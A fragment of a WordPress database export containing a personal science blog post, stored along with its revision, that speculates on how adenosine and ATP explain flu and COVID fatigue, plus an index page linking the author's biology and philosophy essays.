/wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff20c40b9-4865-433c-9fe1-75cac405b18f_1992x628.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff20c40b9-4865-433c-9fe1-75cac405b18f_1992x628.png\" alt=\"\"/></a><figcaption>Some people thought my treatment of the study that confirmed this relationship was overly harsh. Those people were wrong.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Guess what treats multiple sclerosis? Cladribine, which inhibits adenosine deaminase. So cladribine allows a buildup of adenosine, tamping down the autoimmune response that causes multiple sclerosis. And guess what the administration of cladribine is commonly associated with?&nbsp;<a href=\"https://www.mayoclinic.org/drugs-supplements/cladribine-oral-route/side-effects/drg-20461358\">Tiredness</a>! It’s a neat circle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s take a look at the other side of the distinction: fatigue. Specifically, we can look at chronic fatigue syndrome. This isn’t a very well defined condition, but one of its hallmarks is a fatigue that isn’t relieved by rest. If people with chronic fatigue exercise, then go to sleep, they’ll wake up tired. They still feel like they need more sleep. This sounds pretty similar to our COVID/swine flu example, no?&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Using chronic fatigue syndrome as our lens to look into the fatigue/tiredness distinction, we find two interesting things. First,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1007/s10067-011-1702-9\">people with chronic fatigue syndrome do not use more caffeine than the average person</a>, which suggests they don’t find it helpful in their condition. This separates them from&nbsp;<a href=\"https://www.mdpi.com/2072-6643/12/8/2262\">people with multiple sclerosis related tiredness, who do find caffeine helpful</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1365-2362.2011.02567.x\">there’s a subset of chronic fatigue syndrome patients who seem to have an impaired capacity for muscular ATP synthesis</a>. This would relate them back directly to our idea of fatigue as something that’s ATP related.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, going back to our initial questions about why swine flu or COVID can make us (well, me) sleep a lot, we can first see it as an ATP issue. ATP is needed for the immune response, which results in the sort of fatigue that neither sleep nor caffeine fixes. Then, if the infection continues (like through long COVID), it may turn into an adenosine-caused tiredness, which is alleviated by sleep and caffeine.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It also presents possibilities of how different forms of chronic tiredness or fatigue can be fixed.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue related to inadequate amounts of ATP can likely only be fixed by somehow increasing the amount of ATP that can be synthesized (perhaps by increasing the amount of ATP synthase), or decreasing the amount of ATP that’s degraded, although that has its own, immune related issues. Tiredness related to excess adenosine (<a href=\"https://link.springer.com/article/10.1007/s11325-020-02065-6\">like narcolepsy, perhaps</a>&nbsp;or perhaps long COVID), can likely be fixed by degrading adenosine, like by increasing the amount of adenosine deaminase.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we really want to take this in a strange direction, we could also suggest that normal tiredness could also be alleviated by increasing the amount of adenosine deaminase. I believe some biohackers are already trying this. However, given the connections to the immune system, that’s probably a dumb idea. You don’t want to accidentally give yourself an autoimmune disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] I’m aware I sleep more than normal. This is another mystery about sleep that I have, but I really don’t have good explanations for this one. All I can say is that it’s likely genetic, as my dad also needs to sleep a lot, while my mom doesn’t. But yeah, if I get 7 hours of sleep, I’m pretty useless, especially if I need to do anything strenuous or mentally taxing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This is probably in part due to the difficulty of examining what exactly is going on in the brain at any moment, and in part due to the difficulty of establishing good models of sleep or fatigue. If you leave animals in a lab to their own devices, they’ll spend a lot of the time sleeping because they’re bored. If you freak them out, they won’t sleep. Either way, it’s difficult to get an exact model of “struggling to stay awake because there’s stuff to do”, even though that’s the real issue in COVID or flu related fatigue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[3] This relationship can get more complicated if we talk about the effect of, say, an energy drink on a marathoner, but I’m pretty sure that is because of the other parts of an energy drink beyond just the caffeine.</p>\n<!-- /wp:paragraph -->','Why does the flu/COVID make us tired?￼','','publish','closed','closed','','why-does-the-flu-covid-make-us-tired%ef%bf%bc','','','2022-08-16 15:27:18','2022-08-16 15:27:18','',0,'https://trevorklee.com/?page_id=303',0,'page','',0),
(304,1,'2022-08-16 15:27:18','2022-08-16 15:27:18','<!-- wp:paragraph -->\n<p>When I was 16, a summer camp I was at was shut down due to a swine flu outbreak. The spread happened rapidly, in the way that highly contagious airborne viruses do. First, one confirmed case. They got sent to the nurse’s office then sent home. The next day, a couple more. Nurse’s office, home. Then a few more to the nurse’s office, and a few more (nurse’s office), until there wasn’t room in the nurse’s office anymore. At that point the camp officials realized they had an outbreak on their hands.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On our final day of camp, they called all our parents to pick us up. They had given up on testing us, and just sort of let us be. We were aware at the time that we all probably had swine flu, and that we were going to spread it to our hometowns when our parents picked us up, but nobody had a better idea of what to do. The idea of quarantine wasn’t really a thing yet. I got picked up by my uncle because my parents were on vacation, so I got to spread it to his family and hometown instead. Sorry, Strasbourg.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F42eeeabe-296a-4aa7-bb05-8f0b24b3ded1_1600x1017.png\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F42eeeabe-296a-4aa7-bb05-8f0b24b3ded1_1600x1017.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The thing I remember most about my last day at camp (besides a brief romantic interlude with a girl I was sweet on) was how absolutely fatigued I was. I didn’t feel sick, exactly: I didn’t have a fever, sore throat, or anything like that. I just couldn’t keep my eyes open for longer than an hour at a time. This lasted for about a day or two, and then I recovered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I thought of this a couple weeks ago, when I caught COVID for the third time (presumably the Omicron BA.5 variant). As I had with swine flu, I spent an entire day sleeping on my first day of symptoms. The days following I slept less and less, until finally I got back to my normal sleep schedule of 8-9 hours at night, and a 30 minute nap in the middle of the day [1].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive new posts on an every-once-in-a-while basis, mostly about biology.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seemed strange to me that both swine flu and COVID would make me sleep so much. It also seemed strange that I could sleep so much: I’d sleep for 10 hours, do 30 minutes of work, and then be so tired that I’d sleep for another hour on my couch. Whatever made me not need to sleep after getting a lot of sleep normally wasn’t really functioning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I started to look into the scientific details, though, I found myself getting stymied. There was no good mechanical/pathophysiological explanation for the fatigue caused by infectious diseases. In fact, there were few good explanations of the sleep patterns in normal people, either [2]. So, I decided to piece together what I could in this post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What models there are focus around&nbsp;<a href=\"https://en.wikipedia.org/wiki/Adenosine\">adenosine</a>. Now, adenosine is a complicated molecule. It’s one of the building blocks of RNA, the main carrier of energy in the body (in the form of adenosine triphosphate, or ATP), and a big signaling molecule (in the form of cyclic adenosine monophosphate, or cAMP). It does a lot, so it might seem strange to focus on adenosine and sleep, specifically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason why people have focused so much on adenosine as it relates to sleep, however, is that&nbsp;<a href=\"https://en.wikipedia.org/wiki/Caffeine#Pharmacodynamics\">caffeine blocks adenosine receptors in the brain</a>, which seems to be the cause of its effects on wakefulness. Now, this isn’t the only way to look at sleep, given that lots of things cause wakefulness and don’t have any obvious impact on adenosine, like amphetamine. However, this is a consistent way to cause wakefulness, and the relationship between blocking adenosine receptors and preventing sleep does seem to be pretty robust.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F09431108-2b88-47a8-869b-d3779f6278de_1200x800.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F09431108-2b88-47a8-869b-d3779f6278de_1200x800.jpeg\" alt=\"Apple will let Amphetamine app stay in the App Store after wrongly telling  developer it violated App Store rules - The Verge\" title=\"Apple will let Amphetamine app stay in the App Store after wrongly telling  developer it violated App Store rules - The Verge\"/></a><figcaption>My source for the above claim is the App Store.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>However, once we do start to look at this relationship, we quickly run into some paradoxes. First,&nbsp;<a href=\"https://www.rxlist.com/consumer_adenosine_adenoscan/drugs-condition.htm#what_are_side_effects_associated_with_using_adenosine\">administration of adenosine itself doesn’t seem to cause sleepiness</a>, although this may just be an issue of administration to the body not causing a rise in concentration in the brain. More importantly, however, high levels of adenosine deaminase, which breaks down adenosine and which we see in diseases like infectious mononucleosis,&nbsp;<a href=\"https://link.springer.com/article/10.1186/s12879-022-07150-7\">does cause fatigue</a>. That’s the opposite of what we’d expect: if blocking adenosine from reaching its receptors causes wakefulness, destroying adenosine before it reaches its receptors should do the same thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in order to make sense of this relationship, it’s probably useful to start making some distinctions. Specifically, we need to make a distinction between tiredness and fatigue, which I’ve already started using above. Tiredness is what you feel at 1 am in the morning. Fatigue is what you feel after a long run. There’s a definite overlap, given that both can make you sleep. But I think we can all agree they’re not the same thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This then allows us to look back at caffeine and adenosine. Caffeine mostly has an effect on tiredness. Drinking a bunch of espresso at 1 am will allow you to pull an all-nighter, but drinking a bunch of espresso halfway through a marathon will not allow you to finish the marathon [3]. Adenosine, as a purely signaling molecule, also mostly has an effect on tiredness. However, adenosine in the body is produced by the breakdown of ATP, and so destroying adenosine can have an effect on the ATP balance as well. Depletion of ATP, the energy carrier, can lead to fatigue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keeping all that in mind, we can now examine why exactly swine flu and COVID can make us so tired. It has to do with the immune system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The immune system is a rapid-response system. Let’s say you get a puncture wound in your hand, introducing a bunch of bacteria into your bloodstream. Your immune system will react incredibly quickly to that, sending a bunch of resources to staunch the bleeding and fight off the invaders. All of that requires energy and signaling, which means all of that requires adenosine triphosphate, or ATP. And, in fact, that works in the reverse, too. ATP also serves as a signal to recruit inflammatory molecules.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if ATP is both recruited by and can recruit inflammatory molecules, then that’s a positively-reinforcing cycle. Cool, but how does it end? Well, that’s where adenosine comes in. Solo adenosine serves as an anti-inflammatory, going against the effects of the ATP cycle. Given that solo adenosine is produced by breaking down ATP, we can see how this control system might work. If you need to ramp up the inflammatory response, the balance of ATP and adenosine needs to shift in favor of ATP. If you need to tamp down the inflammatory response, the balance needs to shift in favor of adenosine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we have a continuous infection like infectious mononucleosis, something that can remain latent in B cells throughout an individual’s lifetime, it would make sense that we’d have a sustained, systemic immune response. This means we need to shift in favor of ATP by ramping up our levels of adenosine deaminase, which, as we mentioned, breaks down adenosine in the body. Pretty neat, huh?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We can go further, though.Infectious mononucleosis is caused by the Epstein-Barr virus (EBV). And, as we’ve covered before,&nbsp;<a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\">infection with EBV causes almost all cases of multiple sclerosis</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff20c40b9-4865-433c-9fe1-75cac405b18f_1992x628.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff20c40b9-4865-433c-9fe1-75cac405b18f_1992x628.png\" alt=\"\"/></a><figcaption>Some people thought my treatment of the study that confirmed this relationship was overly harsh. Those people were wrong.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Guess what treats multiple sclerosis? Cladribine, which inhibits adenosine deaminase. So cladribine allows a buildup of adenosine, tamping down the autoimmune response that causes multiple sclerosis. And guess what the administration of cladribine is commonly associated with?&nbsp;<a href=\"https://www.mayoclinic.org/drugs-supplements/cladribine-oral-route/side-effects/drg-20461358\">Tiredness</a>! It’s a neat circle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s take a look at the other side of the distinction: fatigue. Specifically, we can look at chronic fatigue syndrome. This isn’t a very well defined condition, but one of its hallmarks is a fatigue that isn’t relieved by rest. If people with chronic fatigue exercise, then go to sleep, they’ll wake up tired. They still feel like they need more sleep. This sounds pretty similar to our COVID/swine flu example, no?&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Using chronic fatigue syndrome as our lens to look into the fatigue/tiredness distinction, we find two interesting things. First,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1007/s10067-011-1702-9\">people with chronic fatigue syndrome do not use more caffeine than the average person</a>, which suggests they don’t find it helpful in their condition. This separates them from&nbsp;<a href=\"https://www.mdpi.com/2072-6643/12/8/2262\">people with multiple sclerosis related tiredness, who do find caffeine helpful</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1365-2362.2011.02567.x\">there’s a subset of chronic fatigue syndrome patients who seem to have an impaired capacity for muscular ATP synthesis</a>. This would relate them back directly to our idea of fatigue as something that’s ATP related.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, going back to our initial questions about why swine flu or COVID can make us (well, me) sleep a lot, we can first see it as an ATP issue. ATP is needed for the immune response, which results in the sort of fatigue that neither sleep nor caffeine fixes. Then, if the infection continues (like through long COVID), it may turn into an adenosine-caused tiredness, which is alleviated by sleep and caffeine.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It also presents possibilities of how different forms of chronic tiredness or fatigue can be fixed.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue related to inadequate amounts of ATP can likely only be fixed by somehow increasing the amount of ATP that can be synthesized (perhaps by increasing the amount of ATP synthase), or decreasing the amount of ATP that’s degraded, although that has its own, immune related issues. Tiredness related to excess adenosine (<a href=\"https://link.springer.com/article/10.1007/s11325-020-02065-6\">like narcolepsy, perhaps</a>&nbsp;or perhaps long COVID), can likely be fixed by degrading adenosine, like by increasing the amount of adenosine deaminase.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we really want to take this in a strange direction, we could also suggest that normal tiredness could also be alleviated by increasing the amount of adenosine deaminase. I believe some biohackers are already trying this. However, given the connections to the immune system, that’s probably a dumb idea. You don’t want to accidentally give yourself an autoimmune disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] I’m aware I sleep more than normal. This is another mystery about sleep that I have, but I really don’t have good explanations for this one. All I can say is that it’s likely genetic, as my dad also needs to sleep a lot, while my mom doesn’t. But yeah, if I get 7 hours of sleep, I’m pretty useless, especially if I need to do anything strenuous or mentally taxing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This is probably in part due to the difficulty of examining what exactly is going on in the brain at any moment, and in part due to the difficulty of establishing good models of sleep or fatigue. If you leave animals in a lab to their own devices, they’ll spend a lot of the time sleeping because they’re bored. If you freak them out, they won’t sleep. Either way, it’s difficult to get an exact model of “struggling to stay awake because there’s stuff to do”, even though that’s the real issue in COVID or flu related fatigue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[3] This relationship can get more complicated if we talk about the effect of, say, an energy drink on a marathoner, but I’m pretty sure that is because of the other parts of an energy drink beyond just the caffeine.</p>\n<!-- /wp:paragraph -->','Why does the flu/COVID make us tired?￼','','inherit','closed','closed','','303-revision-v1','','','2022-08-16 15:27:18','2022-08-16 15:27:18','',303,'https://trevorklee.com/?p=304',0,'revision','',0),
(306,1,'2022-08-16 15:32:04','2022-08-16 15:32:04','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph 